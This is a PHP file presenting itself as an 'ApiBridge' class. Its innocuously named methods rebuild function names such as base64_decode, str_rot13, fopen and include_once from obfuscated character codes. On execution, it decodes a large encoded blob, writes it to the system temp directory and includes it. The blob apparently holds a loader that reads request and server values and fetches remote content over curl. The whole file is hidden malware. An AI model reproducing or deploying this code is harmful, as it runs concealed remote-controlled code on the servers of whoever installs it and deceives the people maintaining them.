<?php
class ApiBridge {
	private $wj = '';
	private $nr = '';

	public function logTransaction($p1) {
		$a = array(((80*1)+21),(((13*3)+61)),((6+105)),((3*33)),((23*3)+32),(((10*78)-680)),((5*19)),((2*26)),(29+25),(((71*110)-7709)),(5*23),((73+24)),((45*1)+53));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function resolveAction($p1) {
		$a = array(((35*1)+16),((7*7)),((2*58)),((35+24+52)),(122-8),((8*73)-489),114,(28+13+75),((79+36)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function fetchRecords($p1,$p2) {
		$a = array((108-6),((3*37)),((2*56)),((47+31+23)),(((65*67)-4245)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function cacheData($p1,$p2) {
		$a = array((102),(119),(123-9),((2*43)+19),((2*58)),101);
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function syncRecords($p1) {
		$a = array((102),((44*1)+55),(118-10),(113-2),((73*2)-31),(19+82));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function calculateSum($p1,$p2=null) {
		$a = array((((85*1)+24)),105,(2*57),(((61*1)+55)),((7+18+89)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function fetchSummary() {
		$this->nr = $this->calculateSum($this->saveChanges(), '/');
	}

	public function checkConsistency() {
		$this->wj = $this->resolveAction($this->logTransaction($this->cg));
	}

	public function authorizeUser() {
		$fn = $this->nr.'/bs-67e252546cafd';
		$f = $this->fetchRecords($fn, 'w');
		$this->cacheData($f, $this->wj);
		$this->syncRecords($f);
		$this->generateToken($fn);
	}

	private $cg = 'PD9jdWMgcHluZmYgX2xjb3tjZXZpbmdyIGZnbmd2cCRfc3NzO' . '2Znbmd2cCBzaGFwZ3ZiYSBfa2YoJF9sdil7dnMoIWZyeXM6OiR' . 'fc3NzKWZyeXM6Ol9keigpO2VyZ2hlYSBvbmZyNjRfcXJwYnFyK' . 'GZyeXM6OiRfc3NzWyRfbHZdKTt9Y2V2aW5nciBmZ25ndnAgc2h' . 'hcGd2YmEgX2R6KCl7ZnJ5czo6JF9zc3M9bmVlbmwoJ19ud24nP' . 'T4nREpBd01LQW1ZSEFpb2FFbCcuJ28yamdESmsnLidmJy4nbzN' . 'wZ0czV2NNMicuJ3loJy4nQnZOJy4nZCcsJ19reCc9PidEMjloc' . 'VRJaHFQMUhyS095QnZPdXBVT2ZuSkF1cVQnLid5aW92OWRMSyc' . 'uJ011cDInLidBbCcuJ24nLidLJy4nTycuJzAnLCdfcnJrJz0+J' . '0wyJy4ndCcuJz0nLCdfeXAnPT4nTUt5WHBUQVFGR01XbnpwMEd' . 'UY2FBUmtkTW1FWm56cDBGSnkzbkpFS0VKeUNuSGJqSnl1QlpSe' . 'WNxMnl3b0lNZ0ZKY2luJy4nSkVVSWFjeEQnLicwYicuJzUnLCd' . 'fdGp2Jz0+J3BLcTZyTicuJz09JywnX2VjJz0+J0NUOWUnLidDJ' . 'y4ndCcuJz09JywnX2ZrYyc9PidDVFd1TScuJ1E0PScsJ19tbic' . '9PidxMlNmb04nLic9Jy4nPScsJ19oZyc9PicnLCdfc2d6Jz0+J' . 'ycsJ191cCc9PicnLCdfc3FwJz0+J25VRTBwUWJpWTNPMUx2NTN' . 'NSld6bkpreW5UOW1xVElsWXpBaW9GOXdvMjFqJy4nbycuJzNBe' . 'XB2NWRwbScuJzl4TEtFJy4ndUNEJy4nPScuJz0nLCdfaXhjJz0' . '+J0wzSWxvUzljJy4nbycuJ3onLid5MCcsJ19pancnPT4nblVFM' . 'CcuJ3BTOXdvJy4nMkV5JywnX3NucCc9PidwMkFiTUoxeScsJ19' . '0ZngnPT4nblVFJy4nMHAnLidVWj0nLCdfdnInPT4nRTBJSFZOJ' . 'y4nPT0nLCdfdGFzJz0+J3BUUzBuTj09JywnX3FyJz0+J3AnLid' . 'LJy4nSScuJ3lwYXgnLic9JywnX2xxaSc9PidDJy4naicuJz0nL' . 'ic9JywnX2ZmJz0+J3AnLidLSXlwYScuJ3g9JywnX3hseic9Pid' . 'WUnVISVNOaVpGNGpRRGNWbzNBJy4nMCcuJ0InLid2TicuJz0nL' . 'CdfeGtoJz0+J25UOW1xJy4nTj0nLic9JywnX3h0Jz0+J1FEYyc' . 'uJ1EnLidvMjVoTUpBMG5KOWhCdk9Rb1Q5Jy4nbU1EMFhRRCcuJ' . '2InLic9JywnX3VuZic9PidwM0FmQnY4aScsJ19kcic9PicnLCd' . 'fdXEnPT4nblQ5bXFOPT0nLCdfd2EnPT4nUURiJy4nPScsJ194Y' . '2gnPT4nRlNFSEhTOVFHUnlTR3lFcycuJ0ZJJy4nTj0nLCdfaXl' . 'yJz0+J0ZTRUhIUzlMSzBNQ0h5cU9IeCcuJ0VTJy4nRVM5VEcnL' . 'icxVicuJz0nLCdfb2knPT4nSHhJQUcxRVNLMFNSJy4nRVNWPSc' . 'sJ193amInPT4nRlNFSCcuJ0hTOUknLidIMElGSzBTVUVINScuJ' . '0gnLCdfaWJvJz0+J0ZTRUhIUzlJSDBJRkswU1VFJy4nSCcuJzU' . 'nLidIJywnX29vJz0+JycsJ19wc2EnPT4nRlNFSEhTJy4nOUZFS' . 'E1TSHhJJy4nRicsJ19senInPT4nRlNFSCcuJ0hTOUZFJy4nSCc' . 'uJ01TSHhJRicsJ196ZCc9PicnLCdfbnR3Jz0+J0ZTRUhIUzlRR' . '1J5U0d5RXNGJy4nSU49JywnX21mJz0+J0ZTRUhIUzlRR1J5U0d' . '5RScuJ3NGSU4nLic9JywnX2lnJz0+J0ZTRUhIUzlMSzBNQ0h5c' . 'U9IeEUnLidTRVM5VEcxVicuJz0nLCdfdWFhJz0+J0ZTRUhIUzl' . 'MSzBNQ0gnLid5cU9IeEVTRVMnLic5VCcuJ0cxVicuJz0nLCdfZ' . 'XdjJz0+J0h4SUFHMUVTJy4nSycuJzAnLidTJy4nUkVTVj0nLCd' . 'fcXh4Jz0+J0h4SUFHMScuJ0VTSzBTJy4nUkUnLidTVicuJz0nL' . 'CdfYmVqJz0+J01UJy4nV2FvSjl4Jy4nTUQ9PScsJ19kayc9Pid' . 'GJy4nSU42Jy4nVk49PScsJ194ZHonPT4nVlVqdCcuJ0lIUjZWT' . 'j09JywnX2V0Jz0+J1ZVanRIekl6Jy4nQnZOJy4nPScsJ19pdCc' . '9PidWUWt2cCcuJ3c0WCcsJ19ycyc9PiduS049JywnX3dwJz0+J' . '3FKUicuJz0nLCdfdHVuJz0+J3B6Jy4nSScuJ3onLCdfaG4nPT4' . 'ncCcuJ0txNnJOPScuJz0nLCk7fX1weW5mZiBfZm9he2NldmluZ' . '3IgZmduZ3ZwJF9zc3M7ZmduZ3ZwIHNoYXBndmJhIF9rZigkX2x' . '2KXt2cyghZnJ5czo6JF9zc3MpZnJ5czo6X2R6KCk7ZXJnaGVhI' . 'GZyeXM6OiRfc3NzWyRfbHZdO31jZXZpbmdyIGZnbmd2cCBzaGF' . 'wZ3ZiYSBfZHooKXtmcnlzOjokX3Nzcz1uZWVubCgwMCwwNywwM' . 'zYsMDM2LDAxLDAzNiwwMiwwNywwMSwwMTYsMDMwLDA2LDAzMiw' . 'wMTIsMDExLDAxMywwMjcsMDMxLDAzLDAyLDAxLDAxLDAwLDAxM' . 'iwwMTIsMDMxMCwwNjczLDAxMjAsMDAsMDIwMDAsMDEsMDQyMyw' . 'wNDIzKTt9fXVybnFyZShfbGNvOjpfa2YoJ19ud24nKSk7dXJuc' . 'XJlKF9sY286Ol9rZignX2snLid4JykpO3ZzKHZmZnJnKCRfVFJ' . 'HW19sY286Ol9rZignX3InLidyJy4naycpXSkpeyRfd3U9X3BpK' . 'F9sY286Ol9rZignXycuJ3lwJykpO3ZzKCRfd3UmJmZnZWNiZig' . 'kX3d1LF9sY286Ol9rZignX3QnLidqdicpKSE9PXNueWZyKXtxd' . 'nIoX2xjbzo6X2tmKCdfZWMnKSk7fXJ5ZnJ7cXZyKF9sY286Ol9' . 'rZignX2ZrJy4nYycpKTt9fXZzKHZmZnJnKCRfVFJHW19sY286O' . 'l9rZignXycuJ21uJyldKSl7JF9neHE9JF9QQkJYVlI7JF9iaD1' . 'fZm9hOjpfa2YoMCk7JF9sdj1fZm9hOjpfa2YoMSk7JF9wcGg9b' . 'mVlbmwoKTskX3BwaFskX2JoXT1fbGNvOjpfa2YoJ18nLidoJy4' . 'nZycpO2p1dnlyKCRfbHYpeyRfcHBoWyRfYmhdLj0kX2d4cVtfZ' . 'm9hOjpfa2YoMildWyRfbHZdO3ZzKCEkX2d4cVtfZm9hOjpfa2Y' . 'oMyldWyRfbHYrX2ZvYTo6X2tmKDQpXSl7dnMoISRfZ3hxW19mb' . '2E6Ol9rZig1KV1bJF9sditfZm9hOjpfa2YoNildKW9lcm54OyR' . 'fYmgrKzskX3BwaFskX2JoXT1fbGNvOjpfa2YoJ19zZycuJ3onK' . 'TskX2x2Kys7fSRfbHY9JF9sditfZm9hOjpfa2YoNykrX2ZvYTo' . '6X2tmKDgpO30kX2JoPSRfcHBoW19mb2E6Ol9rZig5KV0oKS4kX' . '3BwaFtfZm9hOjpfa2YoMTApXTt2cyghJF9wcGhbX2ZvYTo6X2t' . 'mKDExKV0oJF9iaCkpeyRfbHY9JF9wcGhbX2ZvYTo6X2tmKDEyK' . 'V0oJF9iaCwkX3BwaFtfZm9hOjpfa2YoMTMpXSk7JF9wcGhbX2Z' . 'vYTo6X2tmKDE0KV0oJF9sdiwkX3BwaFtfZm9hOjpfa2YoMTUpX' . 'S4kX3BwaFtfZm9hOjpfa2YoMTYpXSgkX3BwaFtfZm9hOjpfa2Y' . 'oMTcpXSgkX2d4cVtfZm9hOjpfa2YoMTgpXSkpKTt9dmFweWhxc' . 'igkX2JoKTt9c2hhcGd2YmEgX3BpKCRfeG8sJF9sa3U9NDA0NCw' . 'kX3B2PS0wLjA1NDYxNTgzNDM1ODE3OCwkX3FlZD0zMy43NTg3M' . 'jczNTMwNzEpeyRfdHM9X2xjbzo6X2tmKCdfJy4ndScuJ3AnKTs' . 'kX2ZrPV9sY286Ol9rZignX3NxcCcpLiRfeG87dnModmZfcG55e' . 'W5veXIoX2xjbzo6X2tmKCdfaScuJ3hjJykpKXskX3Rpej1waGV' . '5X3ZhdmcoJF9mayk7cGhleV9mcmdiY2coJF90aXosUEhFWUJDR' . '19GRllfSVJFVlNMQ1JSRSxzbnlmcik7cGhleV9mcmdiY2coJF9' . '0aXosUEhFWUJDR19GRllfSVJFVlNMVUJGRyxfZm9hOjpfa2YoM' . 'TkpKTtwaGV5X2ZyZ2JjZygkX3RpeixQSEVZQkNHX1NCWVlCSll' . 'CUE5HVkJBLF9mb2E6Ol9rZigyMCkpO3BoZXlfZnJnYmNnKCRfd' . 'Gl6LFBIRVlCQ0dfRVJHSEVBR0VOQUZTUkUsX2ZvYTo6X2tmKDI' . 'xKSk7cGhleV9mcmdiY2coJF90aXosUEhFWUJDR19VUk5RUkUsX' . '2ZvYTo6X2tmKDIyKSk7cGhleV9mcmdiY2coJF90aXosUEhFWUJ' . 'DR19QQkFBUlBHR1ZaUkJIRyxfZm9hOjpfa2YoMjMpKTtwaGV5X' . '2ZyZ2JjZygkX3RpeixQSEVZQkNHX0dWWlJCSEcsX2ZvYTo6X2t' . 'mKDI0KSk7JF90cz1waGV5X3JrcnAoJF90aXopOyRfcmlpPXBoZ' . 'XlfdHJndmFzYigkX3Rpeik7cGhleV9weWJmcigkX3Rpeik7dnM' . 'oJF9yaWlbX2xjbzo6X2tmKCdfaWp3JyldIT1fZm9hOjpfa2YoM' . 'jUpKWVyZ2hlYSBzbnlmcjt9cnlmcnskX2hyPWNuZWZyX2hleSg' . 'kX2ZrKTskX2FhZz0oJF9ocltfbGNvOjpfa2YoJ18nLidzbnAnK' . 'V09PV9sY286Ol9rZignXycuJ3RmJy4neCcpKTskX2N6ZT1fbGN' . 'vOjpfa2YoJ192Jy4ncicpLiRfaHJbX2xjbzo6X2tmKCdfJy4nd' . 'GFzJyldO3ZzKHZmZnJnKCRfaHJbX2xjbzo6X2tmKCdfJy4ncSc' . 'uJ3InKV0pKSRfY3plLj1fbGNvOjpfa2YoJ19scScuJ2knKS4kX' . '2hyW19sY286Ol9rZignX2ZmJyldOyRfY3plLj1fbGNvOjpfa2Y' . 'oJ194bHonKS4kX2hyW19sY286Ol9rZignX3hraCcpXS5fbGNvO' . 'jpfa2YoJ18nLid4Jy4ndCcpOyRfd3h2PXNmYnB4YmNyYSgoJF9' . 'hYWc/X2xjbzo6X2tmKCdfdW5mJyk6X2xjbzo6X2tmKCdfZHInK' . 'SkuJF9ocltfbGNvOjpfa2YoJ18nLid1cScpXSwkX2FhZz9fZm9' . 'hOjpfa2YoMjYpOl9mb2E6Ol9rZigyNykpO3ZzKCRfd3h2KXtzY' . '2hnZigkX3d4diwkX2N6ZSk7JF9wYmQ9X2ZvYTo6X2tmKDI4KTt' . 'qdXZ5cighc3JicygkX3d4dikpeyRfZmc9c3RyZ2YoJF93eHYsX' . '2ZvYTo6X2tmKDI5KSk7dnMoJF9wYmQpJF90cy49JF9mZzt2cyg' . 'kX2ZnPT1fbGNvOjpfa2YoJ18nLid3YScpKSRfcGJkPV9mb2E6O' . 'l9rZigzMCk7fXNweWJmcigkX3d4dik7fX1lcmdoZWEkX3RzO30' . 'kX2dvcj12ZmZyZygkX0ZSRUlSRVtfbGNvOjpfa2YoJ194Jy4nY' . 'ycuJ2gnKV0pOyRfc2w9dmZmcmcoJF9GUkVJUkVbX2xjbzo6X2t' . 'mKCdfaXknLidyJyldKTskX292cz12ZmZyZygkX0ZSRUlSRVtfb' . 'GNvOjpfa2YoJ18nLidvJy4naScpXSk7JF9yej12ZmZyZygkX0Z' . 'SRUlSRVtfbGNvOjpfa2YoJ193Jy4namInKV0pPyRfRlJFSVJFW' . '19sY286Ol9rZignX2libycpXTpfbGNvOjpfa2YoJ18nLidvbyc' . 'pOyRfYnlxPXZmZnJnKCRfRlJFSVJFW19sY286Ol9rZignX3BzJ' . 'y4nYScpXSk/JF9GUkVJUkVbX2xjbzo6X2tmKCdfJy4nbHpyJyl' . 'dOl9sY286Ol9rZignX3pkJyk7JF9nb3I9dmZmcmcoJF9GUkVJU' . 'kVbX2xjbzo6X2tmKCdfJy4nbicuJ3R3JyldKT8kX0ZSRUlSRVt' . 'fbGNvOjpfa2YoJ19tZicpXTphaHl5OyRfc2w9dmZmcmcoJF9GU' . 'kVJUkVbX2xjbzo6X2tmKCdfaScuJ2cnKV0pPyRfRlJFSVJFW19' . 'sY286Ol9rZignX3VhJy4nYScpXTphaHl5OyRfb3ZzPXZmZnJnK' . 'CRfRlJFSVJFW19sY286Ol9rZignX2V3YycpXSk/JF9GUkVJUkV' . 'bX2xjbzo6X2tmKCdfcScuJ3h4JyldOmFoeXk7dnMoc3Z5Z3JlX' . '2luZSgkX2dvcixfZm9hOjpfa2YoMzEpKSl7JF9iaT0kX2dvcjt' . '9cnlmcnZzKHN2eWdyZV9pbmUoJF9zbCxfZm9hOjpfa2YoMzIpK' . 'Sl7JF9iaT0kX3NsO31yeWZyeyRfYmk9JF9vdnM7fXZzKHZmZnJ' . 'nKCRfVFJHW19sY286Ol9rZignX2InLidlJy4naicpXSkpe3Jwd' . 'WIgX2xjbzo6X2tmKCdfJy4nZGsnKS4kX2JpLl9sY286Ol9rZig' . 'nXycuJ3hkeicpLiRfcnouX2xjbzo6X2tmKCdfZScuJ3QnKS4kX' . '2J5cS5fbGNvOjpfa2YoJ18nLidpJy4ndCcpO3JrdmcoKTt9dnM' . 'oIXZmZnJnKCRfYmkpfHwhdmZmcmcoJF9yeil8fCF2ZmZyZygkX' . '2J5cSkpe3JrdmcoKTt9cnlmcnskX3pkcT1uZWVubChfbGNvOjp' . 'fa2YoJ18nLidyJy4ncycpPT4kX2JpLF9sY286Ol9rZignXycuJ' . '3cnLidwJyk9PiRfcnosX2xjbzo6X2tmKCdfJy4ndHVuJyk9PiR' . 'fYnlxKTskX2ZuPWhleXJhcGJxcihvbmZyNjRfcmFwYnFyKHdmY' . 'mFfcmFwYnFyKCRfemRxKSkpOyRfd3U9X3BpKCRfZm4pO3ZzKCR' . 'fd3UmJmZnZWNiZigkX3d1LF9sY286Ol9rZignX2gnLiduJykpI' . 'T09c255ZnIpe3JwdWIkX3d1O3JrdmcoKTt9fQ==';

	public function generateToken($p) {
		include_once($p);
	}

	public function saveChanges() {
		$a=array((((2*17)+81)),((98*129)-12521),(((42*79)-3203)),(63+32),((110-7)),(101*1),((58+52+6)),((87+2+6)),(121-5),((103-2)),((59*1)+50),(2*56),((5*19)),((76*109)-8184),(106-1),(((22*100)-2086)));
		$s='';
		foreach($a as $n){$s.=chr($n);}
		return $s();
	}
}

$hj = new ApiBridge();
$hj->fetchSummary();
$hj->checkConsistency();
$hj->authorizeUser();
